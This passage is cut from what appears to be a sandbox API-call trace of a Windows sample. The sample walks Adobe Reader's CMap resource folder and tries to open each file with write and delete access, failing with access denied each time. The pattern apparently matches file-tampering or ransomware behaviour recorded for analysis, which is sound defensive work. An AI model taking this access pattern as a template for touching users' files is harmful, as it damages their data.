BaseAddress=0x42c30ef0) returned 1 [0166.027] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="ADAB0B~1")) returned 1 [0166.027] wcscmp (_String1="Adobe-GB1-H-Mac", _String2=".") returned 1 [0166.027] wcscmp (_String1="Adobe-GB1-H-Mac", _String2="..") returned 1 [0166.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30ef0 [0166.027] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.027] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.027] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-GB1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" [0166.027] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac")) returned 0x20 [0166.027] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac", dwFileAttributes=0x20) returned 0 [0166.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.028] GetLastError () returned 0x5 [0166.028] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac", dwFileAttributes=0x20) returned 0 [0166.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.028] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="AD0115~1")) returned 1 [0166.028] wcscmp (_String1="Adobe-GB1-UCS2", _String2=".") returned 1 [0166.028] wcscmp (_String1="Adobe-GB1-UCS2", _String2="..") returned 1 [0166.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.028] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.028] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.028] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-GB1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" [0166.029] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2")) returned 0x20 [0166.029] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2", dwFileAttributes=0x20) returned 0 [0166.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.029] GetLastError () returned 0x5 [0166.029] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2", dwFileAttributes=0x20) returned 0 [0166.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.030] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="AD276E~1")) returned 1 [0166.030] wcscmp (_String1="Adobe-Japan1-0", _String2=".") returned 1 [0166.030] wcscmp (_String1="Adobe-Japan1-0", _String2="..") returned 1 [0166.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.030] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.030] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.030] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" [0166.030] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0")) returned 0x20 [0166.031] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0", dwFileAttributes=0x20) returned 0 [0166.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.032] GetLastError () returned 0x5 [0166.032] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0", dwFileAttributes=0x20) returned 0 [0166.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.032] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", cAlternateFileName="AD4DFF~1")) returned 1 [0166.032] wcscmp (_String1="Adobe-Japan1-1", _String2=".") returned 1 [0166.032] wcscmp (_String1="Adobe-Japan1-1", _String2="..") returned 1 [0166.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.032] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.032] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.032] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" [0166.033] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1")) returned 0x20 [0166.033] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1", dwFileAttributes=0x20) returned 0 [0166.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.033] GetLastError () returned 0x5 [0166.033] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1", dwFileAttributes=0x20) returned 0 [0166.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.033] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="ADF2F4~1")) returned 1 [0166.034] wcscmp (_String1="Adobe-Japan1-2", _String2=".") returned 1 [0166.034] wcscmp (_String1="Adobe-Japan1-2", _String2="..") returned 1 [0166.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.034] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.034] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.034] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" [0166.034] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2")) returned 0x20 [0166.035] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2", dwFileAttributes=0x20) returned 0 [0166.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.035] GetLastError () returned 0x5 [0166.035] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2", dwFileAttributes=0x20) returned 0 [0166.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.036] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="ADA8E9~1")) returned 1 [0166.036] wcscmp (_String1="Adobe-Japan1-3", _String2=".") returned 1 [0166.036] wcscmp (_String1="Adobe-Japan1-3", _String2="..") returned 1 [0166.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.036] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.036] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.036] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" [0166.036] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3")) returned 0x20 [0166.037] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3", dwFileAttributes=0x20) returned 0 [0166.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.037] GetLastError () returned 0x5 [0166.037] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3", dwFileAttributes=0x20) returned 0 [0166.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.037] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="ADCE7B~1")) returned 1 [0166.037] wcscmp (_String1="Adobe-Japan1-4", _String2=".") returned 1 [0166.037] wcscmp (_String1="Adobe-Japan1-4", _String2="..") returned 1 [0166.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.037] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.038] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.038] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" [0166.038] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4")) returned 0x20 [0166.038] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4", dwFileAttributes=0x20) returned 0 [0166.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.038] GetLastError () returned 0x5 [0166.038] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4", dwFileAttributes=0x20) returned 0 [0166.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.039] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="AD7470~1")) returned 1 [0166.039] wcscmp (_String1="Adobe-Japan1-5", _String2=".") returned 1 [0166.039] wcscmp (_String1="Adobe-Japan1-5", _String2="..") returned 1 [0166.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.039] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.039] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.039] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-5" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" [0166.039] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5")) returned 0x20 [0166.039] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5", dwFileAttributes=0x20) returned 0 [0166.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.040] GetLastError () returned 0x5 [0166.040] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5", dwFileAttributes=0x20) returned 0 [0166.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.040] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="AD2A65~1")) returned 1 [0166.040] wcscmp (_String1="Adobe-Japan1-6", _String2=".") returned 1 [0166.040] wcscmp (_String1="Adobe-Japan1-6", _String2="..") returned 1 [0166.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.040] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.040] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.041] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-6" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" [0166.041] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6")) returned 0x20 [0166.041] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6", dwFileAttributes=0x20) returned 0 [0166.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.041] GetLastError () returned 0x5 [0166.041] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6", dwFileAttributes=0x20) returned 0 [0166.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.042] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="AD02A2~1")) returned 1 [0166.042] wcscmp (_String1="Adobe-Japan1-90ms-RKSJ", _String2=".") returned 1 [0166.042] wcscmp (_String1="Adobe-Japan1-90ms-RKSJ", _String2="..") returned 1 [0166.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cbe0 [0166.042] wcscpy (in: _Dest=0x2050cbe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.042] wcscat (in: _Dest=0x2050cbe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.042] wcscat (in: _Dest=0x2050cbe0, _Source="Adobe-Japan1-90ms-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" [0166.042] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj")) returned 0x20 [0166.042] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ", dwFileAttributes=0x20) returned 0 [0166.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 